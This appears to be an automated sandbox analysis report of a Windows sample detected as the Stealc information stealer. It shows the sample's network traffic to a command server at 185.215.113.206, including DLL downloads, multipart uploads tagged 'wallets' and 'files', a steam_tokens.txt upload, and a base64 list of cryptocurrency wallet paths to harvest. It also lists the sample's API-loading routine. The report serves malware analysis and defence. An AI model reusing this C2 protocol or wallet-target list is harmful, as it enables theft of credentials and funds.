`.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 27, 2024 00:31:17.063381910 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:17.341300964 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 27, 2024 00:31:18.714740038 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:18.993876934 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 27, 2024 00:31:19.141330957 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:19.432214022 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 27, 2024 00:31:19.925432920 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAA Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 00:31:20.707092047 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:20.749805927 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"wallets------AKKFHDAKECFHIDHJDAAA--
Oct 27, 2024 00:31:21.030340910 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 27, 2024 00:31:21.033313990 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="message"files------KKFHJDAEHIEHJJKFBGDA--
Oct 27, 2024 00:31:21.313739061 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:21.326941967 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Oct 27, 2024 00:31:22.100352049 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:22.125036955 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="message"ybncbhylepme------ECAEGHIJEHJDHIDHIDAE--
Oct 27, 2024 00:31:22.405473948 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:22.406835079 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFBGHDGCFHIDBGDGIIIE--
Oct 27, 2024 00:31:23.184523106 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	18:30:58
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x870000
File size:	1'838'080 bytes
MD5 hash:	9305DF8E055C06E0CAE849B3CEA64161
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2142556115.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00889860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,010F14F0), ref: 008898A1
GetProcAddress.KERNEL32(76210000,010F1640), ref: 008898BA
GetProcAddress.KERNEL32(76210000,010F16D0), ref: 008898D2
GetProcAddress.KERNEL32(76210000,010F16E8), ref: 008898EA
GetProcAddress.KERNEL32(76210000,010F1718), ref: 00889903
GetProcAddress.KERNEL32(76210000,010F8B68), ref: 0088991B
GetProcAddress.KERNEL32(76210000,010E6418), ref: 00889933
GetProcAddress.KERNEL32(76210000,010E6458), ref: 0088994C
GetProcAddress.KERNEL32(76210000,010F1508), ref: 00889964
GetProcAddress.KERNEL32(76210000,010F1568), ref: 0088997C
GetProcAddress.KERNEL32(76210000,010F1748), ref: 00889995
GetProcAddress.KERNEL32(76210000,010F1598), ref: 008899AD
GetProcAddress.KERNEL32(76210000,010E6558), ref: 008899C5
GetProcAddress.KERNEL32(76210000,010F1730), ref: 008899DE
GetProcAddress.KERNEL32(76210000,010F14D8), ref: 008899F6
GetProcAddress.KERNEL32(76210000,010E65F8), ref: 00889A0E
GetProcAddress.KERNEL32(76210000,010F1760), ref: 00889A27
GetProcAddress.KERNEL32(76210000,010F1790), ref: 00889A3F
GetProcAddress.KERNEL32(76210000,010E6538), ref: 00889A57
GetProcAddress.KERNEL32(76210000,010F14A8), ref: 00889A70
GetProcAddress.KERNEL32(76210000,010E6498), ref: 00889A88
LoadLibraryA.KERNEL32(010F15C8,?,00886A00), ref: 00889A9A
LoadLibraryA.KERNEL32(010F14C0,?,00886A00), ref: 00889AAB
LoadLibraryA.KERNEL32(010F1520,?,00886A00), ref: 00889ABD
LoadLibraryA.KERNEL32(010F1538,?,00886A00), ref: 00889ACF
LoadLibraryA.KERNEL32(010F15E0,?,00886A00), ref: 00889AE0
GetProcAddress.KERNEL32(75B30000,010F1550), ref: 00889B02
GetProcAddress.KERNEL32(751E0000,010F1580), ref: 00889B23
GetProcAddress.KERNEL32(751E0000,010F15B0), ref: 00889B3B
GetProcAddress.KERNEL32(76910000,010F8D00), ref: 00889B5D
GetProcAddress.KERNEL32(75670000,010E6478), ref: 00889B7E
GetProcAddress.KERNEL32(77310000,010F8B28), ref: 00889B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00889BB6

Strings

NtQueryInformationProcess, xrefs: 00889BAA

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 2ea74473eb56e6488753559d7e06573393f136e19887540fbcd641cd4dc16419
Instruction ID: 5e5194eda6b0b585ff6b3cdbfecafb068813c244780c30b005f66c1f0fc4971f
Opcode Fuzzy Hash: 2ea74473eb56e6488753559d7e06573393f136e19887540fbcd641cd4dc16419
Instruction Fuzzy Hash: 93A14EB6604240AFD354EFE8FD8896637F9F76C301B54471AE605C3676DA3A9483CB12

Function 008745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0087460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0087479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008746AC
